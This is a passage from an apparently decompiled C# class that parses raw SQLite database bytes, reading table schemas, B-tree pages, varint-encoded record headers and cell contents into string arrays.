string[] strArray = master_table_entries[index].sql_statement.Substring(master_table_entries[index].sql_statement.IndexOf("(") + 1).Split(',');
int num6 = strArray.Length - 1;
for (int j = 0; j <= num6; j++)
{
strArray[j] = strArray[j].TrimStart();
int num4 = strArray[j].IndexOf(" ");
if (num4 > 0)
{
strArray[j] = strArray[j].Substring(0, num4);
}
if (strArray[j].IndexOf("UNIQUE") == 0)
{
break;
}
Array.Resize(ref field_names, j + 1);
field_names[j] = strArray[j];
}
return ReadTableFromOffset((ulong)((master_table_entries[index].root_num - 1L) * page_size));
}
private bool ReadTableFromOffset(ulong Offset)
{
if (db_bytes[(int)Offset] == 13)
{
int num2 = Convert.ToInt32(decimal.Subtract(new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)), decimal.One));
int length = 0;
if (table_entries != null)
{
length = table_entries.Length;
Array.Resize(ref table_entries, table_entries.Length + num2 + 1);
}
else
{
table_entries = new table_entry[num2 + 1];
}
int num16 = num2;
for (int i = 0; i <= num16; i++)
{
var _fieldArray = new record_header_field[1];
ulong num = ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8M), new decimal(i * 2))), 2);
if (decimal.Compare(new decimal(Offset), 100M) != 0)
{
num += Offset;
}
int endIndex = GVL((int)num);
long num9 = CVL((int)num, endIndex);
int num8 = GVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One)));
table_entries[length + i].row_id = CVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One)), num8);
num = Convert.ToUInt64(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(num8), new decimal(num))), decimal.One));
endIndex = GVL((int)num);
num8 = endIndex;
long num7 = CVL((int)num, endIndex);
long num10 = Convert.ToInt64(decimal.Add(decimal.Subtract(new decimal(num), new decimal(endIndex)), decimal.One));
for (int j = 0; num10 < num7; j++)
{
Array.Resize(ref _fieldArray, j + 1);
endIndex = num8 + 1;
num8 = GVL(endIndex);
_fieldArray[j].type = CVL(endIndex, num8);
if (_fieldArray[j].type > 9L)
{
if (IsOdd(_fieldArray[j].type))
{
_fieldArray[j].size = (long)Math.Round((_fieldArray[j].type - 13L) / 2.0);
}
else
{
_fieldArray[j].size = (long)Math.Round((_fieldArray[j].type - 12L) / 2.0);
}
}
else
{
_fieldArray[j].size = SQLDataTypeSize[(int)_fieldArray[j].type];
}
num10 = num10 + (num8 - endIndex) + 1L;
}
table_entries[length + i].content = new string[_fieldArray.Length - 1 + 1];
int num4 = 0;
int num17 = _fieldArray.Length - 1;
for (int k = 0; k <= num17; k++)
{
if (_fieldArray[k].type > 9L)
{
if (!IsOdd(_fieldArray[k].type))
{
if (decimal.Compare(new decimal(encoding), decimal.One) == 0)
{
byte[] bytes = new byte[_fieldArray[k].size];
Array.Copy(db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), bytes, 0, _fieldArray[k].size);
table_entries[length + i].content[k] = Convert.ToBase64String(bytes);
}
else if (decimal.Compare(new decimal(encoding), 2M) == 0)
{
table_entries[length + i].content[k] = Encoding.Unicode.GetString(db_bytes,
Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size);
}
else if (decimal.Compare(new decimal(encoding), 3M) == 0)
{
table_entries[length + i].content[k] = Encoding.BigEndianUnicode.GetString(db_bytes,
Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size);
}
}
else
{
table_entries[length + i].content[k] = Encoding.Default.GetString(db_bytes,
Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size);
}
}
else
{
table_entries[length + i].content[k] = Convert.ToString(ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))),
(int)_fieldArray[k].size));
}
num4 += (int)_fieldArray[k].size;
}
}
}
else if (db_bytes[(int)Offset] == 5)
{
ushort num14 = Convert.ToUInt16(decimal.Subtract(new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)), decimal.One));
int num18 = num14;
for (int m = 0; m <= num18; m++)
{
ushort num13 = (ushort)ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12M), new decimal(m * 2))), 2);
ReadTableFromOffset(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(ConvertToInteger((int)(Offset + num13), 4)), decimal.One), new decimal(page_size))));
}
ReadTableFromOffset(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 8M)), 4)), decimal.One),
new decimal(page_size))));
}
return true;
}
[StructLayout(LayoutKind.Sequential)]
private struct record_header_field
{
public long size;
public long type;
}
[StructLayout(LayoutKind.Sequential)]
private struct sqlite_master_entry
{
public long row_id;
public string item_type;
public string item_name;
public readonly string astable_name;
public long root_num;
public string sql_statement;
}
[StructLayout(LayoutKind.Sequential)]
private struct table_entry
{
public long row_id;
public string[] content;
}
}
}